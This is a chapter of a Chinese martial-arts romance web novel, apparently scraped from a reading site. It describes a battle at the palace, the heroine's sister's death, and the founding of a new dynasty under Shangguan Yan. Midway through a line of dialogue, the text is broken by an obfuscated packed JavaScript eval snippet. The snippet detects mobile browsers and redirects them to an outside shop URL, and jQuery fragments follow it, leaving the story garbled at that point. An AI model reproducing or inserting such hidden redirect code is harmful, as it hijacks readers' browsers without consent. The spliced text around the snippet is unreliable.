123读书网 > 都市小说 > 逢一盏病灯,落无悔 > 87. 称帝
    上官雁明白宋鹤雨的意思,两个人找了一个僻静的地方,这里离天都有些远。


    上官雁左手惊弦鞭,右手曦光剑,宋鹤雨依旧是那把伞。


    上官雁质问:“宋鹤雨,你作为皇后护卫,竟然助纣为虐,是想死吗?”


    宋鹤雨转动着手上的伞,瞥了眼凌扶染的反应,看着她一张脸上写满问号,宋鹤雨只是淡淡地说:“我已无父母,鬼谷中人虽有罪,却罪不至死,不过是一群被世俗逼急了的人,你何必苦苦相逼。”


    “宋鹤雨,受死吧。”


    上官雁先是甩出惊弦鞭,宋鹤雨眼快躲开了,上官雁手快,用鞭子缠住了他的手,将他往过拉时被他反手抢走了鞭子,惊弦鞭落在了凌扶染的脚下。


    凌扶染好奇地拿起来打量着,只听一阵声响,上官雁不敌宋鹤雨,倒在了地上。


    宋鹤雨的伞剑就要戳进她的心口,凌扶染挡在了她身前,执意不肯退让。


    宋鹤雨眼底满是不可思议:“扶染,我是你师兄,你难道要偏袒一个外人吗?”


    凌扶染没有听进去他的话,她转身看着上官雁,不知道为什么,她的心里有一个声音告诉她,她不能死。


    凌扶染情不自禁落下了眼泪,连她自己都不明白这是为什么。


    她酝酿了很久,迟疑开口:“我认识你吗?我觉得我应该记得你,可是我的脑海里又不记得有你这个人。”


    上官雁故意露出了手上的手,凌扶染蹲下身子为她上药,上官雁直视着她:“你真的不记得我了?”


    “不记得,可是你不能死。”


    眼见这招没用,上官雁和宋鹤雨将她安顿在了一边,她正摆弄那些花花草草。


    宋鹤雨和上官雁单独商议着她的事,宋鹤雨不紧不慢收了伞剑,无奈道:“于她而言,你和我以及她父亲应当是比较重要的,可以凌谷主被姬明羲带走了,或许我们两个之间得死一个了。”


    “我知道你并不想参与到这些事当中,你只是想救她,可我依旧希望你能认清自己心中的道义。”上官雁语重心长道。


    宋鹤雨并不在意:“我心中没有道义,我只是希望她和鹤眠无忧而已,我曾为她们卜过一卦,卦象上说她们是命定之女,会辅佐帝星成就大业,可自古命定之女只有一个,她们要么终生不能相遇,要么相遇后必有一死,我还希望你能兑现诺言,如果我死了,鹤眠与扶染你要代我照顾好。”


    “或许我们都能活着,我有清音剑法,我不允许任何一个人死。”


    “剑宗记载不全,清音剑法,有剑有音,而音谱在宋氏,如今普天之下能弹此琴的只有我与鹤眠,你我联手,杀了他。”


    上官雁应下了,她以为只是弹琴,并没有往深想,如今更容不得她想。


    三日后,宫子期让鬼谷的人将所有百姓都赶进了皇宫,皇宫内外人心惶惶。


    宫子期命人来请了宫婧,宫婧满是不屑与轻视:“我是公主之尊,宫氏皇族血脉,凭什么跟你走。”


    “我家鬼主说了,宫墨的后代一个都不能留。”


    宫婧被强行带离了公主府,离皇宫越近,人就越多。


    宫婧看着被聚集起来的无辜百姓,内心多有动容,在看到宫子期的那一刻她就破口大骂:“宫子期,你真是不配姓宫,你把百姓聚集起来做什么,祭城吗?祭天吗?我告诉你,你这样是会遭天谴的。”


    宫子期并不在意,他看着发怒的宫婧,眼中多是藐视:“宫婧,本尊听说这一代的宫氏皇族,最属你的骨头硬,本尊给你一个选择,这一城的百姓和你的命,你选一个。”


    宫婧别过头:“你让我选我就选,你算什么东西。”


    宫子期当即就要拿人开刀,他选中了宫枕述,宫枕述被吓到失声。


    宫婧连眼皮都没抬一下:“一个懦弱无能的弟弟,我为什么要在乎,一群抛弃我的家人,我为什么要在意。”


    宫子期看向了傅枳,傅枳看着宫枕述求救的眼神,心中有些波澜,表面装着不在乎:“鬼主看本国师做什么,杀了他正好,我早就看他不顺眼了。”


    宫子期让人落刀时被远处来的人一掌击落了长刀。


    宫子期并不意外上官雁的出现:“你一个小丫头杀不了我。”


    “算上我呢。”


    宋鹤雨的出现无疑让人心生畏惧。


    在与人群中的闽清,褚倾,辛凯,灵犀等人对视后,他们各自掩护自己方位的百姓撤退。


    鬼谷的人出手去拦,跟他们打了起来。


    宋鹤雨手中举着琴,而后坐了下来,琴音起,宫子期莫名有种熟悉感:“清音之琴,她居然算到了今日。”


    他口中的她是剑宗宗主谷清音。


    传闻谷清音曾经是宫子期最为忠诚的谋士,宫子期遭人暗算后她就归隐清灵山了。


    上官雁说:“谷宗主说了,她本意并不想杀你,只是如今的你已经不再是从前的景和太子了,你被仇恨蒙蔽了双眼,你想要的太多,我不能容忍你这么危险的人留在天都,存活于世。”


    宫子期很是平静,那种平静中透着冷血:“如果不是生在皇室,如果不是被逼到绝路,谁又会愿意做一个反贼呢。”


    琴音起,随着琴音的强势,上官雁的剑势更盛。


    宫子期大笑:“你们以为区区清音剑法困得住我吗?”


    “如果不止清音剑法呢?”上官雁嘴角扬起的笑容逐渐消失,她将腰间的惊弦鞭取下,“惊弦十二式。”


    清音剑法和惊弦十二式同时使出,宫子期却只是受了一些皮外伤,他的内力丝毫没有受到摧残,没有一丁点内伤。


    上官雁有些拿不准了,宫子期看着他们不明所以的模样终于露出了得逞的笑容:“清音,清音,清的是鬼心,可是我不是鬼心,清音预测我会变得贪婪,修炼所谓的江湖鬼术与鬼心,可是我又怎能不知她处处提防着我,在出鬼谷前我早就废除了我鬼谷的武功,练了别的武功,你们为此付出的只是你们自己的生命。”


    他的话音刚落,弹琴的宋鹤雨一口鲜血喷在了琴上,琴弦断裂,分崩离析。


    凌扶染本被白展颜带着,准备混在人群中离开,她心中莫名有不好的预感,在回头的刹那就看到了吐血的宋鹤雨。


    她不顾一切地想要向他跑去,被白展颜执意拉住了:“谷主说了,无论他是生是死都要带你离开。”


    白展颜不知道她哪儿的那么大的力气,竟然推开了他。


    凌扶染跑出人群后腿有些发软,磕碰在了朝阳殿前的长阶上,在到长阶前还摔了好几下,身上都是灰尘与磕碰而来的血痕。


    由于腿发软,她只能用胳膊拖着身体往上爬,胸口的疼痛感就像把她闷在一个不透风不透气的地方。


    凌扶染甚至不敢抬眼去看宋鹤雨的状况。


    最后一次,她看到了近在咫尺的琴,她以为她能触碰到他了,却抬头发现他正被宫子期掐着脖子,即将窒息。


    宫子期一手掐着宋鹤雨,一手使出了阎罗掌:“我听人说你在竹林以禁术杀了九位阎罗,不过你是以正气修炼的阎罗掌,而我是以鬼境修炼的阎罗掌,跟我的比,你不够火候。”


    宫子期的一掌让上官雁从长阶滚了下去,傅枳跑去扶她,被宫子期拉了回来。


    他扔下了宋鹤雨,给了他一掌,宋鹤雨只觉得内脏仿佛被震碎了一般,他连还手的力气都没有。


    宫子期恶狠地看着他:“本想让你多活几年,你月月取百鬼枯草,月月身受重伤,哪怕你再有天赋,可以比肩天下第一,可惜清音剑法所弹之琴音耗费的是人的内力,你弹琴后内力所剩无几,我这一掌后你也会武功尽废,五脏俱损。”


    “我承诺的是治她失魂症,你不可参与其中,你们为什么要送死?”


    宋鹤雨听着他的话只觉得荒谬,他撑着最后的力气看了眼凌扶染。


    她跪在自己的身边,眼泪从眼角流下,发抖的双手连药瓶的药都抖不出来。


    “她此生的志向是治病救人,她说过,医者之命,不该建立在众生之命上,众生多如蜉蝣蝼蚁,可哪怕蜉蝣蝼蚁也不该被轻贱。”


    “你一个恶鬼之主,竟然生了一副菩萨心肠。”宫子期听着他的话,信了几分,依旧不可置信。


    宋鹤雨伸手握住了她抖动的双手,眼中是化开的静水:“不怕,不救,说你私自出逃,回来打断你的腿是假的,想将你送离那里是真的,我的一生生不由己,唯独遇到你,和你做同门师兄妹是我一生的好光景,记起来了吗?扶染兔子。”


    凌扶染绝望地放声大哭,眼泪融入肩前的头发:“宋鹤雨,大狐狸,你又骗我,你不是说要娶我吗?你最好撑到我死的那天,否则生生世世我都不要再见到你这个骗子。”


    宋鹤雨看她哭的样子,一如既往地眼中含情,笑得动人,他抬手给她擦去眼泪:“别哭了,还记得我教给你的剑法吗,跟她联手,杀了他。”


    凌扶染想起了那套剑法,那是世间至纯剑法,宋鹤雨给过她剑谱,指点过她。


    那剑法名落雨,是宋氏历代家主所修习的剑法,剑法要求修炼者心无旁骛,至纯至真。


    宋鹤雨因入鬼谷,历经生离死别,修炼鬼术诡术,入魔等一系列的事件后已经失去了修炼落雨剑法的资格。


    而凌扶染,哪怕入了鬼谷,她学的也只是药谷的医术,有人保护了她的纯真,致使她成了这天底下唯一修炼落雨的人。


    凌扶染用银针稳住了他的伤势,拿过他的伞剑,走向了上官雁那边。


    凌扶染施针缓住了她的伤势,在她身边低语:“雁姐姐,我用落雨剑法,你用清音剑法,不必有音,落雨做音,杀他!”


    上官雁会意,提着曦光剑朝他去了,凌扶染开始布阵,朝阳殿前的上空出现了一层云雾。


    凌扶染操动着伞剑,伞剑撑在上官雁的头顶,替她挡住了落雨剑法给人带来的伤害。


    上官雁站在他前面:“我知道这杀不死你,所以我还给你准备了一条绝路。”


    说着她就催动着内力:“灭世阵,阎罗掌,清音剑法三门禁术,你不迷途知返,那就死吧。”


    灭世阵困住了他,两个人的阎罗掌一时间不分上下,上官雁见状不惜跟他同归于尽。


    宫子期没想到眼前的姑娘竟然有这么果敢:“你用你的命对我的阎罗掌,我死了,你也活不久。”


    上官雁不废话,他一时间被灭世阵困住了,化成雨的剑刃被他死死压着,他已经有些自顾不暇了。


    上官雁找准时机,一剑刺穿了他的胸膛,他倾尽最后的力气一掌将她打出了百米远,她从朝阳殿的长阶梯滚了下去。


    傅枳跑去扶她,上官雁丝毫没有注意到远处的宫墙上正有一只弓箭对准了她们。


    傅枳在察觉时已经为时已晚,弓箭直冲上官雁而来,傅枳情急之下推开了她刚刚扶着站起的上官雁。


    上官雁因没了支撑而摔在了一旁,红衣女子的一箭贯穿了傅枳的胸口,让她失了神色。


    一切始料未及,无数弓箭开始向朝阳殿袭来,所幸姜观年带羽林卫来得及时,挡下了那些箭。


    上官雁不顾腹腔的难受抱住了倒下的傅枳,她眉间皱着,涌上的血腥味让她很是难受:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256359|197509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姐姐。”


    “阿雁不哭。”她给了上官雁一块令牌,“骨令令牌,姐姐想要告诉你,我自始至终都很爱很爱你,我的阿雁天生就该做人上人,从今日起你就是骨令之主。”


    上官雁看着塞在自己手里的骨令令牌哭的泣不成声,心中如同被万千利刃刮着般疼:“姐姐。”


    上官雁的话堵在嗓子眼,一句也说不出来,傅枳最后抚上了她的脸:“姐姐的一生本就是你的馈赠,我所享的尊荣都是你的赠予,只是无缘再见到你做天下之主了,不过没关系,你不会败,姐姐为你铺好了路,你只管向前走,哪怕最后输了,你也不会是他人手中可以被肆意践踏的人,自会有人保你性命无忧,若你登基,更有人保你稳坐帝位。”


    宫枕述从上方挣脱了绑绳,跌跌撞撞跑到了她身边。


    看着将死的他居然落了泪,傅枳已经无力看他了:“宫枕述,你爱过我吗?”


    宫枕述从来没有想到她有一天会问自己这个问题,积压在心里很多年的感情终于说出了口:“爱。”


    她从来不知道他们的夫妻名分是他跪求宫安澜求来的。


    “我要你立誓,有生之年,对那个帝位绝无半点他想,我要你断绝子嗣,断了你的后代想要争夺帝位的野心,你能做到吗?”傅枳抓住了他的胳膊,剧烈的疼痛感让宫枕述嘶了两声。


    宫枕述举起手指发誓:“苍天在上,我宫枕述愿立誓,我一生不娶妻妾,不有子嗣,对帝位绝无半分他想,若违此誓,我宫枕述不得好死。”


    宫枕述发完誓后特意看了她一眼,她松了一口气。


    宫枕述问出了他一直想问的那个问题:“你爱我过吗?”


    他还没有得到答案,傅枳已经没了呼吸,那是上官雁距离孤烟城被灭之后再一次产生了极强的恨意与杀意。


    而她自己还没缓口气,鬼谷众人开始喧嚣,与上官雁的打了起来。


    众人围攻上来要杀她,风澈出现了,他装作若无其事的样子震住了那些人。


    现在在场的人,武功高的都受了重伤,如今来看风澈确实是武功第一人。


    那些人不敢上前,哪怕风澈手中拿着折扇的手微微晃动,也没有被看出异样:“鬼主已死,鬼谷之人,要么退回鬼谷,要么死在天都,就算有人侥幸逃了出去,我风雪城会联合江湖各大门派追杀到底,有什么路你们自己选。”


    风澈的鹤雪扇已经亮出了刃,那些人在他的注视下连连后退,各大江湖门派弟子留了下来,重整天都。


    而那一战,上官雁由于受了集齐他全身内力的一掌而重伤昏迷,宋鹤雨五脏俱损,以内力弹琴而昏迷不醒,宫枕述火烧肃王府,很多人都说他疯了,摄政王与摄政王妃退隐,崇宁公主闭门不出。


    宫氏皇族的一代子嗣没落……


    而风澈不知所踪,有人说他退回了风雪城,也有人说他命不久矣,正在等死……


    宫安澜和沈晞禾一众人带着各州州令赶来时所得到的就是这样的消息。


    宫安澜从进城就被百官拥簇着,他们奏请宫安澜登基,平定另一边的战乱。


    宫安澜却说出了让他们犹豫不决的话:“琼昭王殿上官雁,以一己之力创建了一个女子王军,斩杀九位阎罗殿阎罗于沙州前的竹林,引茵州六千亡魂安定,平定沙州动乱,这只是她在这短短半月的功绩。”


    “在此之前,她是永安军凌云将军,守的是边关安定,是孤烟城弟子,守的是江湖大义,她以聪明的谋略看穿了姬明羲的阴谋,从而早早铲除他布下的棋子,她在我重伤时以一己之力保下了天都百官的尊严和百姓的安危。”


    有官员会错了意:“陛下与王殿本就是夫妻,王殿可做皇后,帝后和鸣,实乃天下之幸也。”


    宫安澜行只单影,看着殿下跪着的百官,他反驳了他们的话:“我想你们没有听明白我的话,我的意思是,她登基为帝,我入赘于她,做帝夫。”


    百官一听这话忙忙跪了下来,高呼不行,不妥。


    宫安澜一个字都没听进去:“天下是她打下的,不能因为她是女子而轻视她的功绩,比起我,她更适合做帝王,我无意帝位,比起江山,我更爱她,心意已决,你们若不同意,任由天下慌乱,与我与她毫无干系。”


    宫安澜从大殿离开,去了坤宁宫。


    沈晞禾留下来料理后面的事,看着大眼瞪小眼的百官,她拿出了各州州令:“此乃琼昭三州,天都以北以东十一州以及其下各郡各城之令,他们愿追随琼昭王殿,效忠于她。”


    尤橘领兵站在了前列:“琼昭王军凌雁军正军共十五万人,皆为女子,后军共十五万人,为原宫字营之将士,我代琼昭王殿宣布,自今日起琼昭与天都以北以东一带臣服于王殿之地并入雁朝,国号雁朝,年号永昌,护佑我雁朝昌盛不衰,上官雁为我雁朝帝王,宫砚为帝夫,他们之女上官姝为帝女,是帝位唯一的继位者,尊靖远郡主沈晞禾为左相,我为右相,若她不醒,左相与帝夫收复天都以西以南一带的失地,我留守天都,管雁朝事务,诸位大人可有异议?”


    有人提出了质疑:“你以什么为信。”


    尤橘拿出了上官雁的亲笔书信:“我有印信。”


    众人哑口无言,徐凇,应婳等女官为此感到傲然,带了头:“陛下大义!”


    再有质疑他们也没得选,自此雁朝立,天下迎来了新的曙光。


    而上官雁一病不起,因修炼禁术而饱受折磨,更因傅枳的离去而陷入了痛苦的自责与梦魇中……


    长久的梦魇中她看到了太多离世的人,曾经与她相伴,却生离死别的人。